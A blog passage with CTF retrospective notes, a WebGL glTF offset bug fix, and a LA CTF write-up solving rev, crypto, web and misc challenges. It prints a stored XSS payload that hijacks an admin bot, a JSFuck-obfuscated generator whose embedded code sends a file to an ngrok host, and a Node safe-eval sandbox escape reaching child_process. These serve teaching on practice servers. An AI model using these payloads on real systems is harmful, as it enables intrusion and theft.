web/calculator is my favorite challenge and relies on Python’s json.dumps producing invalid JSON for inf and nan values. I learned that providing source code makes the challenge more approachable and enjoyable.

On CTFtime, a commenter noted that admins have acknowledged that they didn’t playtest challenges and some challenges were written during the CTF. That was probably me spewing stuff on the Discord. While it’s true that we should’ve managed our time better, and this was just one issue among many, maybe I should be a little more secretive next time about my shenanigans behind the scenes. 🤭

Another commenter said that some web challenges were better fit for rev. That might be in reference to web/utf-wait or even web/open-source, and I agree that they aren’t really web.

I still have some ideas that I came up with for this CTF but never finalized by the time it started. And now I think I have some more ideas I could explore. I’ll probably be around for next year’s SDCTF, so hopefully I’ll be better prepared then.

[.WebGL-0x128007a3800] GL_INVALID_OPERATION: Vertex buffer is not big enough for the draw call

TL;DR: For me, it was because the offset parameter for gl.vertexAttribPointer was too big.

I don’t seem to be the only one that experienced this issue, but Googling around, there wasn’t much else. People tended to experience this issue when updating vertices, but I was just drawing a static model. In fact, I was drawing two glTF models, but only the one I exported from Blender worked.

In glTF, vertex attribute data (e.g. the positions of vertices) are packed in one binary file. The glTF file defines various buffer views—sections of bytes in the binary file:

{
  "buffer": 0,
  "byteLength": 16224,
  "byteOffset": 31680,
  "byteStride": 12,
  "name": "floatBufferViews",
  "target": 34962
}

These in turn are referenced by “accessors,” which define how to interpret the bytes in the buffer.

{
  "bufferView": 2,
  "byteOffset": 8112,
  "componentType": 5126,
  "count": 676,
  "max": [0.9999581575393677, 0.999707818031311, 0.9990392327308655],
  "min": [-0.9999986886978149, -1.0, -0.9999558925628662],
  "type": "VEC3"
}

Notice how both of these have their own byteOffset! This is because accessors themselves can define a range of bytes within a buffer view. In other words, accessors are a range of bytes in a range of bytes.

In my glTF parser, I used these ranges to create a TypedArray view into the binary file’s ArrayBuffer:

const data = new Uint8Array(
  arrayBuffer,
  (bufferView.byteOffset ?? 0) + (accessor.byteOffset ?? 0),
  accessor.count *
    componentTypes[accessor.componentType].BYTES_PER_ELEMENT *
    componentSizes[accessor.type]
)
const glBuffer = gl.createBuffer() ?? expect('Failed to create buffer')
gl.bindBuffer(bufferView.target, glBuffer)
gl.bufferData(bufferView.target, data, gl.STATIC_DRAW)
gl.vertexAttribPointer(
  material.attrib(vbo.attribName),
  componentSizes[accessor.type],
  accessor.componentType,
  accessor.normalized ?? false,
  bufferView.byteStride ?? 0,
  accessor.byteOffset ?? 0
)

There were various tricks I did here that I thought were a bit suspicious, so I tried changing them first:

• I wanted to slice into an ArrayBuffer without copying the data (so I couldn’t use slice), so I needed to use a TypedArray. I used a Uint8Array for all data types, even if the data was actually composed of other data types, like floats.
• I wasn’t sure if “stride” meant the number of bytes between the last byte of one value and the first byte of the next value, or between the first bytes of both values. Usually I see 0 passed to vertexAttribPointer’s stride parameter, so I thought it was the former, but the few resources online suggested it was the latter. It was hard to get clarification whether, for example, 0 and 12 were equivalent for a vec3.

So I tried using the appropriate TypedArray and passing

After some more 3 am Googling, I managed to find where the error came from. In Chromium’s cross-platform WebGL implementation, it throws the error after checking the size of the attribute data.

// [OpenGL ES 3.0.2] section 2.9.4 page 40:
// We can return INVALID_OPERATION if our vertex attribute does not have
// enough backing data.
if (attribDataSizeWithOffset > static_cast<uint64_t>(buffer->getSize()))
{
    context->handleError(Error(GL_INVALID_OPERATION,
                               "Vertex buffer is not big enough for the draw call"));
    return false;
}

This is weird, though, because this code is supposed to work across platforms (nothing in the file path suggested it was MacOS-specific), yet it somehow only throws an error on Macs.

Still, though, the code gave a hint. Maybe on Macs, there’s an issue with how they compute attribDataSizeWithOffset, which is defined in the previous line:

// An overflow can happen when adding the offset, check for it.
uint64_t attribOffset = attrib.offset;
...
uint64_t attribDataSizeWithOffset = attribDataSizeNoOffset + attribOffset;

I printed out the arguments I passed to gl.vertexAttribPointer, and compared the output from the two models. My Blender model, which worked on all devices, had 0 for both the stride and offset. Meanwhile, the stride and offset for the model I found online were both nonzero. I already knew that making the stride 0 didn’t change anything.

Look again at my code above. When constructing my Uint8Array view, I set the byteOffset to (bufferView.byteOffset ?? 0) + (accessor.byteOffset ?? 0). And when calling gl.vertexAttribPointer, I pass accessor.byteOffset ?? 0 as the offset.

??

I accidentally applied accessor.byteOffset twice. Replacing the second value with 0 fixed it. 🎉

But what’s very curious is that applying accessor.byteOffset twice didn’t break on other devices. On Windows and Android, the models rendered fine. I guess it’s because they’re more lenient about it and modulo or ignore the parameter if the offset is out of bounds, while MacOS doesn’t do this.

Here are the challenges I worked on, listed hardest (i.e. most interesting) first:

• web/quickstyle: CSS injection with a bit of DOM clobbering. Unlike other CSS injection challenges, you must exfiltrate the flag with a single CSS file, and it has to be under 6 MB. This involved graph theory also used in bioinformatics.
• misc/jsfudge: JSFuck with some slight adjustments.
• rev/glottem: Building a list of possible flags, character by character. Because this list grows exponentially, I manually intervened to keep only the partial flags that looked like English.
• web/new-housing-portal: XSS.
• crypto/selamat pagi: Frequency analysis, and the Indonesian Wikipedia.
• rev/aplet321: Decompiled the binary to find a system of equations to solve.
• rev/shattered-memories: strings.

The following sections are listed in chronological order of when we solved it. I like to work on problems easiest first. If you’re short on time, I recommend at least reading web/quickstyle since I think it’s the most interesting challenge (it intersects CSS and graph theory).

rev/shattered-memories

rev/shattered-memories by aplet123. 697 solves / 115 points

I swear I knew what the flag was but I can’t seem to remember it anymore… can you dig it out from my inner psyche?

Downloads: shattered-memories

This was the first challenge I looked at. I tried disassembling it, but then a teammate walked by, glanced at it, and suggested using strings on it.

$ strings ./shattered-memories
What was the flag again?
No, I definitely remember it being a different length...
t_what_f
t_means}
nd_forge
lactf{no
orgive_a
No, that definitely isn't it.
I'm pretty sure that isn't it.
I don't think that's it...
I think it's something like that but not quite...
There's something so slightly off but I can't quite put my finger on it...
Yes! That's it! That's the flag! I remember now!
;*3$"

Well, there are pieces of the flag:

• t_what_f
• t_means}
• nd_forge
• lactf{no
• orgive_a

And so the rest of the challenge was just putting the pieces together, which I did manually: t_what_f made the most sense after no to form “not”; the f completes the beginning of “forgive” in orgive_a; and “and” with nd_forge; leaving t_means}.

The flag is lactf{not_what_forgive_and_forget_means}. 🎉

rev/aplet321

rev/aplet321 by kaiphait. 445 solves / 199 points

Unlike Aplet123, Aplet321 might give you the flag if you beg him enough.

nc chall.lac.tf 31321

Downloads: Dockerfile aplet321

The teammate from earlier had already solved it and was reeling with laughter from the solution, but he didn’t submit the flag.

He recommended I install Ghidra, but its installation seemed too involved: it’s a large ZIP file, and it requires having Java installed. After the ZIP file was finally unpacked, I couldn’t find the script I had to run to start it. So I uploaded the binary to Dogbolt, an online decompiler, instead.

setbuf(stdout,(char *)0x0);
puts("hi, i\'m aplet321. how can i help?");
fgets(&local_238,0x200,stdin);
sVar2 = strlen(&local_238);
if (5 < sVar2) {
  iVar4 = 0;
  iVar5 = 0;
  pcVar3 = &local_238;
  do {
    iVar1 = strncmp(pcVar3,"pretty",6);
    iVar5 = iVar5 + (uint)(iVar1 == 0);
    iVar1 = strncmp(pcVar3,"please",6);
    iVar4 = iVar4 + (uint)(iVar1 == 0);
    pcVar3 = pcVar3 + 1;
  } while (pcVar3 != acStack_237 + ((int)sVar2 - 6));
  if (iVar4 != 0) {
    pcVar3 = strstr(&local_238,"flag");
    if (pcVar3 == (char *)0x0) {
      puts("sorry, i didn\'t understand what you mean");
      return 0;
    }
    if ((iVar5 + iVar4 == 0x36) && (iVar5 - iVar4 == -0x18)) {
      puts("ok here\'s your flag");
      system("cat flag.txt");
      return 0;
    }
    puts("sorry, i\'m not allowed to do that");
    return 0;
  }
}
puts("so rude");
return 0;

local_238 has the user input, and sVar2 is its length (which must be greater than 5 characters).

Inside the do-while loop, pcVar3 seems to be the equivalent of the i of a for loop because it increments every iteration. It’s a pointer to the current character in the loop and uses strncmp to compare the next 6 characters from the pointer to the strings pretty and please, incrementing iVar5 and iVar4 if they match, respectively. The loop seems to stop 6 characters before the end of the string (with the sVar - 6). Therefore, this loop counts the number of prettys and pleases in the input string.

In JavaScript, the equivalent code might look something like this:

let pretties = 0
let pleases = 0
for (let i = 0; i < input.length - 6; i++) {
  pretties += input.slice(i, i + 6) === 'pretty'
  pleases += input.slice(i, i + 6) === 'please'
}

Then, after the loop, right before printing the contents of flag.txt, it checks if (iVar5 + iVar4 == 0x36) && (iVar5 - iVar4 == -0x18). This is a system of equations:

So that’s $2a = 30 \to a = 15$ prettys and $2b = 78 \to b = 39$ pleases.

> 'pretty'.repeat(15) + 'please'.repeat(39)
'prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseplease'

$ nc chall.lac.tf 31321
hi, i'm aplet321. how can i help?
prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseplease
sorry, i didn't understand what you mean

Why didn’t that work? Well, there’s also an if statement that checks that strstr(&local_238,"flag") isn’t 0x0; otherwise, it gives the error we got. strstr finds the second string, flag, in the first string, which is my input, and returns null (0x0) if it can’t find it. So this means I just need to add flag to my input:

$ nc chall.lac.tf 31321
hi, i'm aplet321. how can i help?
prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseflag
ok here's your flag
lactf{next_year_i'll_make_aplet456_hqp3c1a7bip5bmnc}

🎉 That really is a pretty amusing way to get a flag.

crypto/selamat pagi

crypto/selamat pagi by AVDestroyer. 331 solves / 275 points

If you talk in another language, nobody can understand what you say! Check out this message I sent in Indonesian. To add some extra security, I also applied a monoalphabetic substitution cipher on it!

Downloads: message.txt

Efe kqkbkx czwkf akfs kdkf qzfskf wzdcjtfk
Ieqku kqk akfs ikxj kck akfs wkak ukikukf :Q
Lzfqztk ukdj kqk qe wefe: bkvim{wzbkdki_ckse_kckukx_ukdj_wjuk_kfkbewew_mtzujzfwe}

Other teammates were already collaborating on this one, and I joined in once I heard them mention languages. I like linguistics.

Our team used dcode.fr’s substitution cipher tool to plug in letters visually.

bkvim is very likely to be lactf:

... a.ala. ...a. .a.. a.a. ....a. .......a
T..a. a.a .a.. ta.. a.a .a.. .a.a .ata.a. :.
......a .a.. a.a .. ....: lactf{..la.at_.a.._a.a.a._.a.._...a_a.al...._f........}

Our team had been plugging common words and phrases into Google Translate to see what some common Indonesian words could be. I thought that “flag” would very likely be in the text, so I used Wiktionary to look up the Indonesian translation for “flag”: bendera. Their Wikipedia article for the Indonesian flag also uses bendera.

The only 7-lever word that could fit bendera was ......a. Putting the letters in produces:

.n. adala. .e.an .an. a.an den.an .e...rna
T.da. ada .an. ta.. a.a .an. .a.a .ata.an :D
Bendera .a.. ada d. ..n.: lactf{.ela.at_.a.._a.a.a._.a.._...a_anal...._fre..en..}

The words aren’t as apparent with just these letters, but my teammates, from plugging in other words, had already identified other letters like U and S:

.n. adala. .esan .an. a.an den.an se..urna
T.da. ada .an. ta.u a.a .an. sa.a .ata.an :D
Bendera .a.u ada d. s.n.: lactf{sela.at_.a.._a.a.a._.a.u_su.a_anal.s.s_fre.uens.}

That anal.s.s_fre.uens. looks a lot like “frequency analysis.” My teammates tried to plug in Q and Y, which I think is a bit English-minded because Q and Y are extremely unusual letters to use for the sounds /k/ and /i/. Particularly for a language that adopted the Latin alphabet relatively recently, using K and I for those phonemes is much more common.

Ini adala. .esan .an. a.an den.an se..urna
Tidak ada .an. ta.u a.a .an. sa.a katakan :D
Bendera ka.u ada di sini: lactf{sela.at_.a.i_a.aka._ka.u_suka_analisis_frekuensi}

I wasn’t around when they finished the rest of the letters, but it was pretty quick. For example, Google autocomplete for ini adala gives ini adalah kerana, so the letter after adala must be H. Also, sela.at looks like it could be selamat from the challenge name. And the word after, .a.i, could be pagi. And while these letters are already enough for the flag, there’s still a missing letter remaining in .ang. Going down this Indonesian letter frequency list, it seems the most frequent letter we haven’t used yet is Y. This produces:

Ini adalah pesan yang aman dengan sempurna
Tidak ada yang tahu apa yang saya katakan :D
Bendera kamu ada di sini: lactf{selamat_pagi_apakah_kamu_suka_analisis_frekuensi}

🎉 And through Google Translate:

This is a perfectly secure message

No one knows what I said :D

Your flag is here: lactf{good_morning_do_you_like_frequency_analysis}

web/new-housing-portal

web/new-housing-portal by r2uwu2. 214 solves / 368 points

After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?

Hint - You can send a link that the admin bot will visit as samy.

Hint - Come watch the real Samy’s talk if you are stuck!

Site - new-housing-portal.chall.lac.tf

Admin Bot - https://admin-bot.lac.tf/new-housing-portal

Downloads: new-housing-portal.zip

Someone in the room mentioned JavaScript, which got my attention. They were apparently just too lazy to write the XSS payload for this challenge, so I decided to try it.

The website is a roommate finder¹. On the “Find Roomates” page, you search for users by their username, then send an invite to them. The “View Invitations” page lists the invites that were sent to you.

The vulnerability for this challenge is somewhat obvious by looking at the source code, which is both conveniently provided in both the ZIP file and the page source.

// src/finder/index.js
const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
  (async () => {
    const user = await fetch('/user?q=' + encodeURIComponent(query))
      .then(r => r.json());
    if ('err' in user) {
      $('.err').innerHTML = user.err;
      $('.err').classList.remove('hidden');
      return;
    }
    $('.user input[name=username]').value = user.username;
    $('span.name').innerHTML = user.name;
    $('span.username').innerHTML = user.username;
    $('.user').classList.remove('hidden');
  })();
}

// src/request/index.js
const { invitations } = await fetch('/invitation').then(r => r.json());
$('.invitations').innerHTML = invitations.map((inv) => `
  <div class="invitation">
    <div class="col">
      <div class="from">From: ${inv.from}</div>
      <div class="secret">Deepest Darkest Secret: ${inv.deepestDarkestSecret}</div>
    </div>
    <div class="col">
      <button>Accept</button>
    </div>
  </div>
`).join('\n');

Both of these pages use innerHTML without any sanitization, so a standard XSS payload like <img src=x onerror="alert(1)"> should work. This tries to load a nonexistent image at ./x and fails, running the JavaScript in the onerror handler.

It seems any of the values on the registration page—the username, name, and the “Deepest Darkest Secret”—are all opportunities for XSS.

So where’s the flag? The provided ZIP also has the server code:

// src/server.js
users.set('samy', {
  username: 'samy',
  name: 'Samy Kamkar',
  deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}',
  password: process.env.ADMINPW || 'owo',
  invitations: [],
  registration: Infinity
});

So I need to get Samy’s deepest, darkest secret for the flag. It displays the deepest darkest secrets on the invitations page, so I need to get Samy to invite me. Using Admin Bot, I can get Samy on a page that has my XSS on it to make him invite me.

There are a few opportunities for this:

• I could sign up with an XSS payload in my name or username, then send him a link to https://new-housing-portal.chall.lac.tf/finder/?q=<username>, where it will show the name/username with the XSS payload.
• I could invite Samy and send him a link to https://new-housing-portal.chall.lac.tf/request/. My invitation, with the XSS payload in the name², would show up on his page.

I opted for the second strategy.

My XSS payload should mimic the same HTTP request that the website makes when I send an invite. With inspect element’s network log open, I invited a user b, then copied the POST request entry as fetch. Here are the request details, with irrelevant headers removed:

POST /finder HTTP/1.1
Host: new-housing-portal.chall.lac.tf
Content-Type: application/x-www-form-urlencoded

username=b

The following HTML makes the same POST request using JavaScript fetch, except it invites the username of one of my accounts, a, instead.

<img src=x onerror="fetch('/finder', { method: 'POST', body: (f = new FormData(), f.append('username', 'a'), f) })">

I created a new account in incognito mode with its name set to that HTML, and then I invited a from the new account. Then, in a’s invitations, I saw a broken image:

I checked the network log to see what it sent.

So why didn’t it work?

After playing around with my code, I realized why when I looked at what my code was sending:

It seems by using JavaScript’s FormData object, it always wraps its data in some WebKitFormBoundary, which the server doesn’t seem to accept. So I got rid of it and set the Content-Type header manually instead:

fetch('/finder', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'username=a'
})

Running this in the console seemed successful based on the network log.

So, I created a new account with the fixed HTML:

<img src=x onerror="fetch('/finder', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'username=a' })">

I invited samy, then made Admin Bot visit https://new-housing-portal.chall.lac.tf/request/. I checked my invitations:

🎉

misc/jsfudge

Warning: There’s a lot of hairy JavaScript in this challenge.

misc/jsfudge by r2dev2. 31 solves / 486 points

JsFudge this JsFudge that, why don’t you JsFudge the flag.

nc chall.lac.tf 31130

Downloads: Dockerfile index.js

Most of the telltale clues are in the runCode definition in index.js, which ultimately just runs eval on whatever code you submit (so you can do anything you want on their server). However, there are two catches:

const allowed = new Set('()+[]!');
for (const char of code) {
  if (!allowed.has(char)) {
    console.log('Oops, make sure to only use characters "()+[]!"');
    return;
  }
}

This means code must only use ()+[]!. This is infamously JSFuck’s character set, where any JavaScript can be rewritten using just those characters and still be valid JavaScript. The JSFuck website has a converter for arbitrary JS into equivalent JavaScript that only uses the characters in ()+[]!.

However, you can’t just use the converter for this challenge:

// hehe ^w^
const oldProto = [].__proto__.toString;
[].__proto__.toString = () => '^w^';

Normally, JavaScript arrays, when cast to a string, will cast each of its elements to a string and then join them together with a comma ,. For example, '' + [1, 2, 3] produces the string 1,2,3. JSFuck uses this to convert values into strings. However, the effect of this change is that casting arrays to strings always returns the string ^w^ instead of the contents of the array.

What does this change? Well, JSFuck relies on JavaScript’s current array-to-string behavior for two important values:

• Producing zero. Currently, casting an empty array [] to a string produces the empty string. An empty string cast to a number is 0. Since using + as a unary operator only makes sense for numbers, JavaScript will cast values to a number if you use + on it. So, +[] produces 0 in JavaScript.

  But now that [] becomes ^w^, +[] becomes +'^w^'. ^w^ is not a number^{[citation needed]}, so this becomes NaN instead of 0.

  Fortunately, it’s easy enough to work around this:

  1. Cast NaN into a boolean using ! (the logical NOT operator). NaN is falsy, so it becomes false.
  2. Cast false to a number, producing 0.

  Here’s how the new expression gets evaluated: +!!+[] → +!!+'^w^' → +!!NaN → +!true → +false → 0

  Fortunately, non-zero numbers still work normally. JSFuck takes advantage of 0 being falsy, and inverting it makes it true. Casting true to a number produces 1, which you can add to itself to produce the natural numbers: +!+[] is 1, +!+[]+!+[] is 2, and so on. Since NaN is also falsy, !+[] still becomes true.

• Casting to a string. Since an empty array becomes an empty string, you can add it to any value to turn it into a string. ![]+[] becomes the string 'false', and so on.

  With the ^w^ change, ![]+[] becomes false^w^. This doesn’t break too many things because much of JSFuck involves getting letters of keywords, like doing (![]+[])[3] for the letter s; adding ^w^ to the end of the string won’t affect this.

  However, this change does affect numbers. JSFuck’s converter in particular prefers values like 10 over 9, which is a smaller value but requires more code because the sum of its digits is larger. This is because producing 10 only involves concatenating 1 and 0, then casting it to a number (+(+!+[] + [+[]]) → +(1 + [0]) → +(1 + '0') → +'10' → 10), while producing 9 requires adding 1 to itself nine times.

  Now, after the change, even by replacing +[] with +!!+[] as discussed above, +(+!+[] + [+!!+[]]) evaluates to +(1 + [0]) → +(1 + '0^w^') → +'10^w^' → NaN. Sad!

  Maybe there’s a smarter way around this, but I’m not optimizing for code length; I just need my code to work. So I just replaced these two-digit numbers with 1 added to itself ten or more times.

My first attempt was to try resetting [].__proto__.toString back to its original form, so I put it into JSFuck’s converter and tried to fix any issues caused by the change. These were the substitutions I did to the code generated by JSFuck:

• [0]: [+[]] → [+!!+[]]

  0 was most often used to index into strings, which is why it’s in square brackets.

• 10: +!+[]+[+!!+[]] → !+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]

• [11]: [+!+[]+[+!+[]]] → [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]

  This was used for getting the letter m for some other thing.

• 12: +!+[]+[!+[]+!+[]] → !+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]

• i: ([![]]+[][[]])[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]] → ([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]

  The original way used 'falseundefined'[10] because it probably produced shorter code, but now it becomes '^w^undefined'[10], which is undefined and usually results in a TypeError. I replaced it with 'undefined^w^'[5].

• /: (![]+[+!!+[]])[([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]] → (![]+[+!!+[]])[([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]

  JSFuck gets / by calling 'false0'.italics(), which wraps it into <i>false0</i>. This string was probably selected for its shorter code length, but because it relies on concatenation it becomes <i>false^w^</i>, which changes the index of / in the string.

  What’s / for? JSFuck uses it to create a function³ with body return/false/, which returns an instance of RegExp. It can then do /false/.constructor to get the RegExp class constructor itself, then construct RegExp('/') which creates a regular expression that just has a /. However, in JavaScript’s regular expression literals, / must be escaped, so casting RegExp('/') to a string produces a string containing /\//.

  So Function('return/false/').constructor('/') + '' is how JSFuck gets a backslash character \.

All this was just to generate the underscore character _ for __proto__. JSFuck creates a function that returns a string with an octal escape sequence, then calls it: Function('return"\137"')(). This escape sequence method is JSFuck’s last resort for characters it can’t get through other means.

After fixing everything, I realized that my plan of resetting [].__proto__.toString wouldn’t work because I also needed a reference to the original Array.prototype.toString. While I felt like it was possible, I couldn’t be bothered to try to investigate and fix more issues caused by an even longer string needed.

That was because I realized that I could adapt the octal escape sequence code to get any character I wanted. All I needed to do was write a script:

[].__proto__.toString=()=>'^w^'
backslash = `([]
    [(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(! … !+[]+!+[]+!+[]+!+[]])+[])[+!+[]]`
// create octal codes
w=(Array.from(`require('https').get('https://57e8-104-177-117-127.ngrok-free.app/' + require('fs').readFileSync('.vimrc').toString())`, c => `${backslash}+(${'!+[]+'.repeat(+c.codePointAt().toString(8)).slice(0, -1)})`).join('+'))
// return string of octal codes
w=`(!![]+[])[+!+[]] … []+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]
  +
  ${w}
  +
  ([]+[])[(![]+[])[+!!+[]]+(!![]+[][(![]+[])[+!!+[]]+(![]+[]) … !+[]+!+[]+!+[]]`
// eval string expression
w=`[][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+ … +[]]+(!![]+[])[+!+[]]]
(${w})
()`
// eval it
w=`[][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+ … +[]]+(!![]+[])[+!+[]]]
(${w})
()`
w = w.replace(/\s/g, '')
console.log(w)

I truncated the JSFuck code because it’s a bit long. You can view the full file here.

What this does is,

1. Store the JSFuck code for a backslash character in a variable backslash for convenience.

2. Split the attack code I want to execute (inside Array.from()) into individual characters, convert the characters into an octal escape sequence (backslash + the code point of the character in base 8), and then join them all together with + signs. This sets w to code to generate a long string of octal sequences.

   For example, the string hello would become '\' + 150 + '\' + 145 + '\' + 154 + '\' + 154 + '\' + 157.

3. Wrap w in code that puts the octal sequences in a string literal. This is essentially the same as

   w = `return "${w}"`
   

4. Wrap w in code that converts the string into a function and calls it.

   w = `Function(${w})()`
   

   All this is just to produce a string containing the original attack script.

5. Wrap w again to actually call my script:

   w = `Function(${w})()`
   

So I ran the script to generate code, which I pasted into an unassuming 350-kB file that I piped into the nc server.

$ cat test/lactf-jsfudge.js | nc chall.lac.tf 31130
Gimme some js code to run
oopsie woopsie stinki poopie ReferenceError: require is not defined
    at eval (eval at <anonymous> (eval at runCode (/app/run:16:21)), <anonymous>:3:1)
    at eval (eval at runCode (/app/run:16:21), <anonymous>:1:350288)
    at runCode (/app/run:16:21)
    at /app/run:31:5
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

What?

Even though it didn’t look like it in index.js, eval seemed to be sandboxed somehow, and require wasn’t directly available.

Okay, fine. I vaguely recalled from a prior challenge that it can be fairly trivial to bypass this. I looked online and found this vulnerability, which gave a pretty simple proof of concept:

const safe_eval = require('safe-eval')
code = `
import('test').catch((e)=>{})['constructor']['constructor']('return process')().mainModule.require('child_process').execSync('touch rce')
`
safe_eval(code)

This gets a Promise object’s constructor (Promise)’s constructor (Function) to create a function that returns process, then access require via process.mainModule.require.

My exfiltration script looked very similar:

console.log(import('fs').constructor.constructor('return process')().mainModule.require('fs').readFileSync('flag.txt').toString())

I turned this into JSFuck and plugged it into the server. 🎉

$ cat test/lactf-jsfudge.js | nc chall.lac.tf 31130
Gimme some js code to run
lactf{d0_y0u_f331_pr0ud}

oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'toString')
    at runCode (/app/run:17:25)
    at /app/run:31:5
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

Here are links to lactf-jsfudge.js (392 kB) and the code that generates it.

rev/glottem

rev/glottem by aplet123. 89 solves / 455 points

Haha glottem good!

Note: The correct flag is 34 characters long.

Downloads: glottem

This is a pretty cool challenge.

#!/bin/sh
1<<4201337
1//1,"""
exit=process.exit;argv=process.argv.slice(1)/*
4201337
read -p "flag? " flag
node $0 "$flag" && python3 $0 "$flag" && echo correct || echo incorrect
1<<4201337
*///""";from sys import argv
e = […]
alpha="abcdefghijklmnopqrstuvwxyz_"
d=0;s=argv[1];1//1;"""
/*"""
#*/for (let i = 0; i < s.length; i ++) {/*
for i in range(6,len(s)-2):
    #*/d=(d*31+s.charCodeAt(i))%93097/*
    d+=e[i-6][alpha.index(s[i])][alpha.index(s[i+1])]#*/}
exit(+(d!=260,[d!=61343])[0])
4201337

(That e = […] line is a long 3D array of numbers ranging from 10 to 17.)

The #!/bin/sh line suggests that it’s a Bash script (more accurately, just sh for shell). But other lines in the code, as hinted by the node and python3 commands, suggest that it might also be a JavaScript and Python file. It’s a polyglot (hence the challenge name)!

The syntax highlighting on this website might not show it very well (the colors make it clearer on Discord), but in Bash, the first and last commands don’t do anything:

1<<4201337
1//1,"""
exit=process.exit;argv=process.argv.slice(1)/*
4201337

My impression of this is that 4201337 is just a string to indicate the start and end of a raw string, so you don’t have to worry about escaping any characters inside there. I thought that maybe << is like how >> is to >, where it pipes the contents of some file with that name into a command 1, which is an alias for true. While writing this write-up, I looked up what << does, and I appear to be completely wrong. Oh well.

So the only relevant lines, from Bash’s point of view, are

e = […]
read -p "flag? " flag
node $0 "$flag" && python3 $0 "$flag" && echo correct || echo incorrect

1. The first command stores a list in e, which isn’t used anywhere, so it doesn’t do anything.
2. The second command asks the user for the flag and stores it in a variable flag.
3. The third command passes the flag to Node and Python, running it on the same glottem file. If they both pass, then it echoes correct.

So I just need the Node and Python interpretations to accept my flag.

In JavaScript, the code looks like this:

#!/bin/sh
1<<4201337
1//1,"""
exit=process.exit;argv=process.argv.slice(1)/*
4201337
read -p "flag? " flag
node $0 "$flag" && python3 $0 "$flag" && echo correct || echo incorrect
1<<4201337
*///""";from sys import argv
e = […]
alpha="abcdefghijklmnopqrstuvwxyz_"
d=0;s=argv[1];1//1;"""
/*"""
#*/for (let i = 0; i < s.length; i ++) {/*
for i in range(6,len(s)-2):
    #*/d=(d*31+s.charCodeAt(i))%93097/*
    d+=e[i-6][alpha.index(s[i])][alpha.index(s[i+1])]#*/}
exit(+(d!=260,[d!=61343])[0])
4201337

The numbers, 1<<4201337, 1, and 4201337 don’t do anything. While JavaScript’s comment syntax normally uses //, it will also treat #! as a comment if it’s at the beginning of the file.⁴

This leaves the following lines:

exit=process.exit;argv=process.argv.slice(1)
e = […]
alpha="abcdefghijklmnopqrstuvwxyz_"
d=0;s=argv[1];
for (let i = 0; i < s.length; i ++) {
  d=(d*31+s.charCodeAt(i))%93097
}
exit(+(d!=260,[d!=61343])[0])

Interestingly, JavaScript doesn’t use e either. It creates aliases for exit and argv so some of the statements can be the same in Python and JavaScript.

s is the flag (including the lactf{...} part), and it loops over each character’s code point and does some math with it. The %93097 looks a bit annoying because modular arithmetic is hard to reverse.

The final line, exit(+(d!=260,[d!=61343])[0]), is interesting, and I’ll ramble more about it when looking at Python. But ultimately, d just needs to equal 61343 at the end for the script to exit with 0, which means success in Bash.

I tried to work backwards. Even though I don’t know what d was, I knew that it couldn’t be more than 93097, and before being added to the character code, it would be multiplied by 31. So, I thought, maybe I could try guessing all the characters in alpha and see which of them have a prior value of d that could result in 61343.

MOD = 93097
ALPHA="abcdefghijklmnopqrstuvwxyz_"
check = (last,alpha=ALPHA) => {
  poss = []
for (const c of alpha) {
